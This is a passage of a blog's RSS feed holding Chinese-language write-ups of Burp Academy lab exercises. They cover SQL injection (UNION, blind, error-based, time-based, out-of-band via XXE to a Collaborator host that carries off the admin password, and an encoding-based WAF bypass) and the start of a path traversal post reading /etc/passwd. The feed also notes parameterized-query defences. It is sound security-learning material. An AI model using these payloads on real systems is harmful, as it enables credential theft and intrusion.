&lt;/div&gt;&lt;p&gt;注释符 &lt;code&gt;--&lt;/code&gt; 导致后续语句被忽略，实现越权查询。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;防范注入&#34;&gt;防范注入
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;核心方案：参数化查询（预处理语句）&lt;/strong&gt;
用占位符&lt;code&gt;?&lt;/code&gt;替代直接字符串拼接，将SQL查询结构与用户输入数据彻底分离，数据库会自动转义特殊字符，从根源杜绝注入。这是处理&lt;strong&gt;数据层面输入&lt;/strong&gt;（WHERE条件、INSERT/UPDATE值）的最优解。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;局限性与替代方案&lt;/strong&gt;
参数化查询无法用于SQL&lt;strong&gt;结构层面&lt;/strong&gt;（表名、列名、ORDER BY子句）。此类场景需：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;白名单校验：仅允许预设的合法值；&lt;/li&gt;
&lt;li&gt;逻辑重构：通过业务逻辑绕开用户输入直接参与SQL结构。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键原则&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;硬编码SQL常量：参数化查询的SQL语句必须是固定常量，不包含任何变量；&lt;/li&gt;
&lt;li&gt;拒绝主观信任：无论数据来源（用户输入、数据库存储数据），均不直接拼接，避免二阶注入等风险；&lt;/li&gt;
&lt;li&gt;禁用选择性拼接：不凭经验判断“数据是否安全”，彻底杜绝字符串拼接的使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;labs-题解&#34;&gt;Labs 题解
&lt;/h2&gt;&lt;h3 id=&#34;union-攻击-1&#34;&gt;Union 攻击
&lt;/h3&gt;&lt;h4 id=&#34;常规&#34;&gt;常规
&lt;/h4&gt;&lt;p&gt;注入点：&lt;code&gt;/filter?category=Corporate+gifts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;题目要求用 NULL 查询，所以闭合引号后，逐步添加 NULL 即可。payload &lt;code&gt;&#39;+UNION+SELECT+NULL,NULL,NULL--&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;找可用列&#34;&gt;找可用列
&lt;/h4&gt;&lt;p&gt;注入点：&lt;code&gt;/filter?category=Clothing%2c+shoes+and+accessories&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先出列数 &lt;code&gt;&#39;+ORDER+BY+3--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;题目说 &lt;code&gt;Make the database retrieve the string: &#39;iIwJ8H&#39;&lt;/code&gt; 所以用 &lt;code&gt;&#39;iIwJ8H&#39;&lt;/code&gt; 逐个替换 NULL 查询即可。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;感觉有点奇怪的判断……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;拼接字符串&#34;&gt;拼接字符串
&lt;/h4&gt;&lt;p&gt;注入点：&lt;code&gt;/filter?category=Gifts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先判断列数：发现只有两列，而且只有一列是 string：&lt;code&gt;&#39;+UNION+SELECT+NULL,&#39;abc&#39;--&lt;/code&gt;,所以得考虑将 username 和 password 拼接起来&lt;/p&gt;
&lt;p&gt;payload：&lt;code&gt;&#39;+UNION+SELECT++NULL,username||&#39;~&#39;||password+FROM+users--&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;数据库查询&#34;&gt;数据库查询
&lt;/h3&gt;&lt;h4 id=&#34;普通查询&#34;&gt;普通查询
&lt;/h4&gt;&lt;p&gt;注入点：&lt;code&gt;/filter?category=Gifts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先判断列数：发现 &lt;code&gt;&#39;UNION+SELECT+NULL,NULL--&lt;/code&gt; 不管多少都查询错误，考虑可能是数据库不一样，换成了 &lt;code&gt;&#39;UNION+SELECT+NULL,NULL#--&lt;/code&gt; ，查询成功，然后查询指定列即可。&lt;/p&gt;
&lt;h4 id=&#34;查表列名&#34;&gt;查表、列名
&lt;/h4&gt;&lt;p&gt;注入点：&lt;code&gt;/filter?category=Gifts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;先判断列数：&lt;code&gt;&#39;+ORDER+BY+2&lt;/code&gt; 两列&lt;/p&gt;
&lt;p&gt;1.查表名，这里出了问题。一开始的查询：&lt;code&gt;&#39;+UNION+SELECT+*,+NULL+FROM+information_schema.tables--&lt;/code&gt;，如果用通配符的话，会导致列数的不匹配！需要直接指定列名：&lt;code&gt;&#39;+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--&lt;/code&gt;，发现特殊表 &lt;code&gt;users_inatpk&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.查列名，&lt;code&gt;&#39;+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name=&#39;users_inatpk&#39;&lt;/code&gt;,查询 information_schema.columns 表，需要指定对应的表名，否则结果很多，发现列名 &lt;code&gt;password_xzxkya&lt;/code&gt; &lt;code&gt;username_rxlzlc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3.查数据，&lt;code&gt;&#39;+UNION+SELECT+username_rxlzlc,password_xzxkya+FROM+users_inatpk--&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;盲注-1&#34;&gt;盲注
&lt;/h3&gt;&lt;h4 id=&#34;布尔盲注&#34;&gt;布尔盲注
&lt;/h4&gt;&lt;p&gt;1.注入点：&lt;code&gt;Cookie: TrackingId=ZVcenZbEGyKbb2Nc&lt;/code&gt;，用 &lt;code&gt;&#39; and &#39;1&#39; =&#39;1&lt;/code&gt; 来判断一下是否存在布尔盲注，发现查询成功的话会返回 &lt;code&gt;Welcome&lt;/code&gt; 字段。&lt;/p&gt;
&lt;p&gt;2.检验：&lt;code&gt;&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39;)=&#39;a&lt;/code&gt; 来判断 users 表是否存在。这里的思路是 select 出一个恒等的字符串来验证，后面方便拼接进语句。&lt;/p&gt;
&lt;p&gt;3.查长度：&lt;code&gt;&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; and length(password)&amp;gt;1)=&#39;a&lt;/code&gt; 确定存在，然后 &lt;code&gt;&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; and length(password)=20)=&#39;a&lt;/code&gt; 确定有 20 位&lt;/p&gt;
&lt;p&gt;4.查各个位数：手动查显然太麻烦了，这里用 Burp 的 Intruder 可以半自动查询。语句为&lt;code&gt; &#39; and (select substring(password,1,1) from users where username=&#39;administrator&#39;) = &#39;a&lt;/code&gt;,把最后的 a 设为爆破点，然后手动调整 (password,num,1) 进行爆破。&lt;/p&gt;
&lt;p&gt;5.记录：birxocztgrtwf7ugbhw3&lt;/p&gt;
&lt;h4 id=&#34;条件盲注&#34;&gt;条件盲注
&lt;/h4&gt;&lt;p&gt;1.判断注入点：&lt;code&gt;Cookie: TrackingId=y0chXfk5EGo4lz1o&lt;/code&gt;，&lt;code&gt;&#39;&lt;/code&gt; 报错，&lt;code&gt;&#39;&#39;&lt;/code&gt; 不报错，从而确定是 SQL 语法报错注入。&lt;/p&gt;
&lt;p&gt;2.判断数据库类型：&lt;code&gt;&#39;||(SELECT &#39;&#39;)||&#39;&lt;/code&gt; 报错，&lt;code&gt;&#39;||(SELECT &#39;&#39; FROM dual)||&#39;&lt;/code&gt; 不报错，从而判断是 Oracle&lt;/p&gt;
&lt;p&gt;3.验证目标表存在：&lt;code&gt;&#39;||(SELECT &#39;&#39; FROM not-a-real-table)||&#39;&lt;/code&gt; 报错，&lt;code&gt;&#39;||(SELECT &#39;&#39; FROM users WHERE ROWNUM = 1)||&#39;&lt;/code&gt; 不报错&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里用 ROENUM 类似 limit，为的是方式返回多行结果&lt;/p&gt;
&lt;p&gt;总体思路就是通过字符串拼接来测试报错&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;4.条件判断可行性：&lt;code&gt;&#39;||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM dual)||&#39;&lt;/code&gt; 不报错，而改成 &lt;code&gt;1=2&lt;/code&gt; 报错（除零），故可行。&lt;/p&gt;
&lt;p&gt;5.出长度：&lt;code&gt;&#39;||(SELECT CASE WHEN LENGTH(password)&amp;gt;1 THEN to_char(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;6.出密码：&lt;code&gt;&#39;||(SELECT CASE WHEN SUBSTR(password,1,1)=&#39;a&#39; THEN TO_CHAR(1/0) ELSE &#39;&#39; END FROM users WHERE username=&#39;administrator&#39;)||&#39;&lt;/code&gt; 和前面一样，Intruder 枚举 &lt;code&gt;a&lt;/code&gt;，手动改第一个 1 即可&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;用 cluster bomb 更简单。sqlmap 不会用。&lt;/p&gt;
&lt;p&gt;技巧是全部扫完后，多选 - 高亮指定length - 排序。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;报错信息泄露&#34;&gt;报错信息泄露
&lt;/h4&gt;&lt;p&gt;1.注入点：&lt;code&gt;Cookie: TrackingId=B8kZGghEST0pmL5o&lt;/code&gt;，加一个&lt;code&gt;&#39;&lt;/code&gt;，发现报错：&lt;code&gt;Unterminated string literal started at position&lt;/code&gt;，考虑信息泄露&lt;/p&gt;
&lt;p&gt;2.测试报错：&lt;code&gt;&#39; and cast((select 1) as int)--&lt;/code&gt;,报错&lt;code&gt;ERROR: argument of AND must be type boolean, not type integer&lt;/code&gt;，验证。&lt;code&gt;&#39; AND 1=CAST((SELECT 1) AS int)--&lt;/code&gt;，不报错，是可以用的。&lt;code&gt;&#39; AND 1=CAST((SELECT username FROM users) AS int)--&lt;/code&gt; 但是这样子又变成了最开始的报错，考虑是&lt;strong&gt;输入被截断&lt;/strong&gt;了！！&lt;/p&gt;
&lt;p&gt;3.解决截断：&lt;code&gt;&#39; AND 1=CAST((SELECT username FROM users) AS int)--&lt;/code&gt;，报错变成&lt;code&gt;ERROR: more than one row returned by a subquery used as an expression&lt;/code&gt;，再改成 &lt;code&gt;&#39; AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--&lt;/code&gt;,报错&lt;code&gt;ERROR: invalid input syntax for type integer: &amp;quot;administrator&amp;quot;&lt;/code&gt;，成功出用户名！&lt;/p&gt;
&lt;p&gt;4.出密码：&lt;code&gt;&#39; AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;时间盲注&#34;&gt;时间盲注
&lt;/h4&gt;&lt;p&gt;1.注入点判断：&lt;code&gt;Cookie: TrackingId=x&lt;/code&gt;,添加&lt;code&gt;&#39;%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--&lt;/code&gt;，对比&lt;code&gt;&#39;%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--&lt;/code&gt; 发现延时，有时间盲注。这里的 &lt;code&gt;%3B&lt;/code&gt; 是分号，防止 burp 识别成两个参数。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;pg_sleep(n)&lt;/code&gt;的函数类型&lt;/strong&gt;：&lt;code&gt;pg_sleep&lt;/code&gt;是 PostgreSQL 的 &lt;strong&gt;“延迟函数”&lt;/strong&gt;，返回值类型为&lt;code&gt;void&lt;/code&gt;（无返回值），它的作用是&lt;strong&gt;暂停当前数据库会话的执行 &lt;strong&gt;，仅能在&lt;code&gt;SELECT&lt;/code&gt;语句的&lt;/strong&gt;选择列表&lt;/strong&gt;（&lt;code&gt;SELECT 列/函数&lt;/code&gt;）中执行，&lt;strong&gt;无法作为&lt;code&gt;WHERE&lt;/code&gt;子句的条件表达式&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2.验证条件：&lt;code&gt;&#39;%3BSELECT+CASE+WHEN+(username=&#39;administrator&#39;)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3.出长度：&lt;code&gt;&#39;%3BSELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+LENGTH(password)&amp;gt;1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;4.出密码：&lt;code&gt;&#39;%3BSELECT+CASE+WHEN+(username=&#39;administrator&#39;+AND+SUBSTRING(password,1,1)=&#39;a&#39;)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Intruder 里爆破，为了保证有效性，需要在 Resource Pool 里把线程数调整为 1，这样会串行发送请求（否则会同时发送n个，导致共同阻塞）。同时，看结果是需要开启顶栏 - columns - Response Received&lt;/p&gt;
&lt;p&gt;Cluster Bomp用不了，只能手动调整数字，然后爆破字母，可以用多线程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;带外盲注&#34;&gt;带外盲注
&lt;/h4&gt;&lt;p&gt;1.注入点：&lt;code&gt;Cookie: TrackingId=VKVwX08YULpCF0yM&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.尝试带外：&lt;code&gt;&#39;+UNION+SELECT+EXTRACTVALUE(xmltype(&#39;&amp;lt;%3fxml+version%3d&amp;quot;1.0&amp;quot;+encoding%3d&amp;quot;UTF-8&amp;quot;%3f&amp;gt;&amp;lt;!DOCTYPE+root+[+&amp;lt;!ENTITY+%25+remote+SYSTEM+&amp;quot;http://255pds2evbd16n9qqk51tr8fu60xoncc.oastify.com&amp;quot;&amp;gt;+%25remote%3b]&amp;gt;&#39;),&#39;/l&#39;)+FROM+dual--&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;payload讲解：&lt;/p&gt;
&lt;p&gt;该语句的关键是&lt;strong&gt;利用 Oracle 的 XML 外部实体注入（XXE）特性触发带外 HTTP 请求&lt;/strong&gt;，流程如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;闭合并拼接联合查询&lt;/strong&gt;：通过单引号&lt;code&gt;&#39;&lt;/code&gt;闭合原始 SQL 的字符串，再用&lt;code&gt;UNION SELECT&lt;/code&gt;拼接恶意查询，确保整体 SQL 语法合法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造 XML 类型数据&lt;/strong&gt;：&lt;code&gt;xmltype(...)&lt;/code&gt;将包含外部实体的 XML 字符串转换为 &lt;strong&gt;Oracle 可解析&lt;/strong&gt;的 XML 对象。&lt;/li&gt;
&lt;li&gt;解析外部实体触发带外请求：
&lt;ul&gt;
&lt;li&gt;当 Oracle 解析 XML 中的&lt;code&gt;%remote;&lt;/code&gt;实体时，会根据&lt;code&gt;SYSTEM&lt;/code&gt;指定的&lt;code&gt;http://BURP-COLLABORATOR-SUBDOMAIN/&lt;/code&gt;发起&lt;strong&gt;HTTP 请求&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;即使该 HTTP 请求无返回数据，Burp Collaborator 服务器也能捕获到这个请求，证明注入语句被执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;补全语法并执行&lt;/strong&gt;：&lt;code&gt;EXTRACTVALUE&lt;/code&gt;和&lt;code&gt;FROM dual&lt;/code&gt;补全 Oracle 的查询语法，让整个语句顺利执行，无语法错误。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 Oracle 数据库的带外注入中，&lt;strong&gt;无法直接通过常规 SQL 语法发起 HTTP 请求&lt;/strong&gt;，必须借助 XML 相关函数（如&lt;code&gt;xmltype&lt;/code&gt;+&lt;code&gt;EXTRACTVALUE&lt;/code&gt;）间接实现，核心原因是&lt;strong&gt;Oracle 本身没有内置的原生 HTTP 请求函数&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;plus&lt;/p&gt;
&lt;p&gt;payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+UNION+SELECT+EXTRACTVALUE(xmltype(&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fxml&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;lt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DOCTYPE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;root&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&amp;lt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ENTITY&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;remote&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SYSTEM&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;http%3a//&amp;#39;||(SELECT+password+FROM+users+WHERE+username%3d&amp;#39;administrator&amp;#39;)||&amp;#39;.BURP-COLLABORATOR-SUBDOMAIN/&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;+%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;remote&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;),&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;l&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;)+FROM+dual--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后看子域名即可&lt;/p&gt;
&lt;h3 id=&#34;其他场景的注入&#34;&gt;其他场景的注入
&lt;/h3&gt;&lt;h4 id=&#34;xml-编码绕过-waf&#34;&gt;XML 编码绕过 WAF
&lt;/h4&gt;&lt;p&gt;1.注入点：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;2&lt;span class=&#34;nt&#34;&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1&lt;span class=&#34;nt&#34;&gt;&amp;lt;/storeId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;2.测试：改为 &lt;code&gt;1 union select null&lt;/code&gt; ，发现被检查出攻击了，有 waf。将内容进行 html 实体编码，发现绕过了。再测试，发现只能返回一行，所以需要拼接字符串。&lt;/p&gt;
&lt;p&gt;3.payload：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;2&lt;span class=&#34;nt&#34;&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;1 UNION SELECT username || &amp;#39;~&amp;#39; || password FROM users&lt;span class=&#34;nt&#34;&gt;&amp;lt;/storeId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;把&lt;code&gt;1 UNION SELECT username || &#39;~&#39; || password FROM users&lt;/code&gt; 编码为&lt;code&gt;&amp;amp;#49;&amp;amp;#32;&amp;amp;#85;&amp;amp;#78;&amp;amp;#73;&amp;amp;#79;&amp;amp;#78;&amp;amp;#32;&amp;amp;#83;&amp;amp;#69;&amp;amp;#76;&amp;amp;#69;&amp;amp;#67;&amp;amp;#84;&amp;amp;#32;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#114;&amp;amp;#110;&amp;amp;#97;&amp;amp;#109;&amp;amp;#101;&amp;amp;#32;&amp;amp;#124;&amp;amp;#124;&amp;amp;#32;&amp;amp;#39;&amp;amp;#126;&amp;amp;#39;&amp;amp;#32;&amp;amp;#124;&amp;amp;#124;&amp;amp;#32;&amp;amp;#112;&amp;amp;#97;&amp;amp;#115;&amp;amp;#115;&amp;amp;#119;&amp;amp;#111;&amp;amp;#114;&amp;amp;#100;&amp;amp;#32;&amp;amp;#70;&amp;amp;#82;&amp;amp;#79;&amp;amp;#77;&amp;amp;#32;&amp;amp;#117;&amp;amp;#115;&amp;amp;#101;&amp;amp;#114;&amp;amp;#115;&lt;/code&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Burp靶场：Server-side vulnerabilities</title>
        <link>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-server-side/</link>
        <pubDate>Fri, 14 Nov 2025 00:00:00 +0000</pubDate>
        
        <guid>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-server-side/</guid>
        <description>&lt;h2 id=&#34;path-traversal-路径穿越&#34;&gt;Path traversal 路径穿越
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;路径遍历（又称目录遍历）漏洞允许攻击者读取运行应用程序的服务器上的任意文件，可能包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;应用程序代码与数据&lt;/li&gt;
&lt;li&gt;后端系统的凭证信息&lt;/li&gt;
&lt;li&gt;敏感的操作系统文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在某些情况下，攻击者还可能向服务器的任意文件写入内容，进而修改应用程序数据或行为，最终完全控制服务器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;/loadImage?filename=218.png&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;网站中有这样一个链接，如果在 Linux 系统中，一般 218.png 储存在 &lt;code&gt;/var/www/images/218.png&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;想要测试路径穿越，就用：&lt;code&gt;https://insecure-website.com/loadImage?filename=../../../etc/passwd&lt;/code&gt; 来读取&lt;/p&gt;
&lt;p&gt;如果是 Windows，改用：&lt;code&gt;https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini &lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;比较简单，是一个商城页面，和上面类似。注意不能直接在浏览器访问，不然会被当成图片解析&lt;/p&gt;
&lt;h2 id=&#34;acess-control-访问控制&#34;&gt;Acess Control 访问控制
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;在 Web 应用场景中，访问控制依赖于身份验证（Authentication）和会话管理（Session Management）：&lt;/p&gt;
&lt;ul&gt;
